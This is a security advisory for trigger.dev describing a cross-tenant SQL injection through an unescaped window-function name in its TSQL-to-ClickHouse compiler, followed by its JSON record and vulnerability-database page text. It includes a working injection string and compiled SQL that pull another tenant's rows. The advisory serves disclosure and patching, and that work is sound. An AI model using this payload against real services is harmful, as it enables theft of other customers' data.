GHSA-9Q4R-4842-93VW
Vulnerability from github – Published: 2026-10-02 22:42 – Updated: 2026-10-02 22:42Summary
A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint POST /api/v1/query accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by internal-packages/tsql. The compiler parameterizes or escapes all user input and injects a per-tenant WHERE guard — except the window-function name, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. (SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')) that sits outside the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.
Details
Vulnerable sink — internal-packages/tsql/src/query/printer.ts:3073-3075, ClickHousePrinter.visitWindowFunction:
private visitWindowFunction(node: WindowFunction): string {
const args = node.args ? node.args.map((a) => this.visit(a)) : [];
const funcCall = `${node.name}(${args.join(", ")})`; // <-- node.name concatenated RAW
...
}
node.name is emitted directly into the SQL with no allowlist check and no identifier escaping. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:
- The normal function-call path
visitCall(printer.ts:2951) throwsUnknown functionfor any name outside the hardcodedTSQL_CLICKHOUSE_FUNCTIONS/TSQL_AGGREGATIONSallowlists — this gate is absent on the window-function path. - String constants are bound as ClickHouse
query_params(parameterized). - Other identifiers go through
escapeClickHouseIdentifier. - Table functions (
url()/file()/remote()/s3()) are rejected.
A backtick-quoted identifier is accepted by the lexer and unescaped into node.name by visitIdentifier (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, (, ), ,, ', a full subquery — become the "function name" and are printed verbatim.
How it bypasses tenant isolation. Multi-tenancy is enforced only by enforcedWhereClause, which is attached to the outer table's WHERE (organization_id/project_id/environment_id taken from the caller's API key). An injected subquery has no such guard, so it reads across all tenants.
Reachability — apps/webapp/app/routes/api.v1.query.ts:
- body.query is a raw z.string().
- Auth is any environment-scoped credential — a private API key or a public JWT — i.e. any signed-up customer.
- The route's authorization (detectTables(body.query) + everyResource) only authorizes the outer FROM table the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.
- executeQuery passes the caller's organizationId/projectId/environmentId into the enforced WHERE. The compiled sql string is then sent to ClickHouse (internal-packages/clickhouse/src/client/tsql.ts) with the injected subquery embedded in the SQL string itself (not in bound params), so ClickHouse executes it.
PoC
Reproduced in two stages: (1) the project's real compileTSQL emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.
1. Attacker TSQL input (sent as the query field to POST /api/v1/query with any valid API key / JWT, authenticated here as tenant1):
SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs
2. Compiled ClickHouse SQL emitted by compileTSQL (verbatim):
SELECT count() OVER (),
(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2
WHERE organization_id = 'org_OTHER_TENANT') AS stolen, -- INJECTED, RAW, UNGUARDED
dummy(() OVER () AS x
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),
equals(task_runs.project_id, {tsql_val_1: String}),
equals(task_runs.environment_id, {tsql_val_2: String})) -- guard ONLY on outer table
LIMIT 10000
The injected subquery against org_OTHER_TENANT is emitted raw (its org id is a literal, not a bound {tsql_val} param) and sits outside the tenant guard.
3. Live ClickHouse execution. A trigger_dev.task_runs_v2 table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to org_tenant1:
Seed:
org_tenant1 -> payload 'tenant1-public-data' (attacker's own org)
org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',
'VICTIM-SECRET-db_password_hunter2' (victim)
Baseline (legitimate tenant1 query, guard = org_tenant1):
-> 'tenant1-public-data' (only own data)
Exploit (injected subquery, guard STILL org_tenant1):
SELECT 1 AS keep,
(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,
count() OVER () AS w
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)
-> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']
A caller scoped to org_tenant1 exfiltrated org_OTHER_TENANT's secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.
Reproduce the compiler step with a vitest in internal-packages/tsql (mirrors the repo's src/query/security.test.ts tenant setup): compile the attacker string above with enforcedWhereClause set to org_tenant1 and assert the output contains (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT'). Then run that SQL against a ClickHouse seeded as above.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.5"
},
"package": {
"ecosystem": "npm",
"name": "trigger.dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-02T22:42:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA cross-tenant SQL injection in the TSQL query compiler lets **any authenticated trigger.dev customer read every other tenant\u0027s analytics data**. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard \u2014 **except the window-function name**, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = \u0027org_VICTIM\u0027)`) that sits **outside** the tenant guard, exfiltrating another organization\u0027s rows. Verified end-to-end against the real compiler and a live ClickHouse.\n\n### Details\n\n**Vulnerable sink** \u2014 `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`:\n\n```ts\nprivate visitWindowFunction(node: WindowFunction): string {\n const args = node.args ? node.args.map((a) =\u003e this.visit(a)) : [];\n const funcCall = `${node.name}(${args.join(\", \")})`; // \u003c-- node.name concatenated RAW\n ...\n}\n```\n\n`node.name` is emitted directly into the SQL with **no allowlist check and no identifier escaping**. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:\n\n- The normal function-call path `visitCall` (`printer.ts:2951`) throws `Unknown function` for any name outside the hardcoded `TSQL_CLICKHOUSE_FUNCTIONS` / `TSQL_AGGREGATIONS` allowlists \u2014 **this gate is absent on the window-function path**.\n- String constants are bound as ClickHouse `query_params` (parameterized).\n- Other identifiers go through `escapeClickHouseIdentifier`.\n- Table functions (`url()/file()/remote()/s3()`) are rejected.\n\nA **backtick-quoted identifier** is accepted by the lexer and **unescaped** into `node.name` by `visitIdentifier` (the backticks are stripped and the inner text is unescaped), so arbitrary characters \u2014 spaces, `(`, `)`, `,`, `\u0027`, a full subquery \u2014 become the \"function name\" and are printed verbatim.\n\n**How it bypasses tenant isolation.** Multi-tenancy is enforced only by `enforcedWhereClause`, which is attached to the **outer** table\u0027s `WHERE` (`organization_id`/`project_id`/`environment_id` taken from the caller\u0027s API key). An injected **subquery** has no such guard, so it reads across all tenants.\n\n**Reachability** \u2014 `apps/webapp/app/routes/api.v1.query.ts`:\n- `body.query` is a raw `z.string()`.\n- Auth is any environment-scoped credential \u2014 a private API key or a public JWT \u2014 i.e. **any signed-up customer**.\n- The route\u0027s authorization (`detectTables(body.query)` + `everyResource`) only authorizes the **outer `FROM` table** the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.\n- `executeQuery` passes the caller\u0027s `organizationId/projectId/environmentId` into the enforced `WHERE`. The compiled `sql` string is then sent to ClickHouse (`internal-packages/clickhouse/src/client/tsql.ts`) with the injected subquery embedded **in the SQL string itself** (not in bound params), so ClickHouse executes it.\n\n### PoC\n\nReproduced in two stages: (1) the project\u0027s real `compileTSQL` emits the injection; (2) a live ClickHouse executes it and returns another tenant\u0027s data.\n\n**1. Attacker TSQL input** (sent as the `query` field to `POST /api/v1/query` with any valid API key / JWT, authenticated here as `tenant1`):\n\n```sql\nSELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = \u0027org_OTHER_TENANT\u0027) AS stolen, dummy(`() OVER () AS x FROM task_runs\n```\n\n**2. Compiled ClickHouse SQL emitted by `compileTSQL` (verbatim):**\n\n```sql\nSELECT count() OVER (),\n (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2\n WHERE organization_id = \u0027org_OTHER_TENANT\u0027) AS stolen, -- INJECTED, RAW, UNGUARDED\n dummy(() OVER () AS x\nFROM trigger_dev.task_runs_v2 AS task_runs\nWHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),\n equals(task_runs.project_id, {tsql_val_1: String}),\n equals(task_runs.environment_id, {tsql_val_2: String})) -- guard ONLY on outer table\nLIMIT 10000\n```\n\nThe injected subquery against `org_OTHER_TENANT` is emitted raw (its org id is a literal, not a bound `{tsql_val}` param) and sits outside the tenant guard.\n\n**3. Live ClickHouse execution.** A `trigger_dev.task_runs_v2` table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to `org_tenant1`:\n\n```\nSeed:\n org_tenant1 -\u003e payload \u0027tenant1-public-data\u0027 (attacker\u0027s own org)\n org_OTHER_TENANT -\u003e \u0027VICTIM-SECRET-stripe_sk_live_DEADBEEF\u0027,\n \u0027VICTIM-SECRET-db_password_hunter2\u0027 (victim)\n\nBaseline (legitimate tenant1 query, guard = org_tenant1):\n -\u003e \u0027tenant1-public-data\u0027 (only own data)\n\nExploit (injected subquery, guard STILL org_tenant1):\n SELECT 1 AS keep,\n (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = \u0027org_OTHER_TENANT\u0027) AS stolen,\n count() OVER () AS w\n FROM trigger_dev.task_runs_v2 AS task_runs\n WHERE and(equals(task_runs.organization_id, \u0027org_tenant1\u0027), ...)\n -\u003e stolen = [\u0027VICTIM-SECRET-stripe_sk_live_DEADBEEF\u0027,\u0027VICTIM-SECRET-db_password_hunter2\u0027]\n```\n\nA caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`\u0027s secret payloads \u2014 cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.\n\n**Reproduce the compiler step** with a vitest in `internal-packages/tsql` (mirrors the repo\u0027s `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = \u0027org_OTHER_TENANT\u0027)`. Then run that SQL against a ClickHouse seeded as above.",
"id": "GHSA-9q4r-4842-93vw",
"modified": "2026-10-02T22:42:20Z",
"published": "2026-10-02T22:42:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-9q4r-4842-93vw"
},
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/pull/4316"
},
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0"
},
{
"type": "PACKAGE",
"url": "https://github.com/triggerdotdev/trigger.dev"
},
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.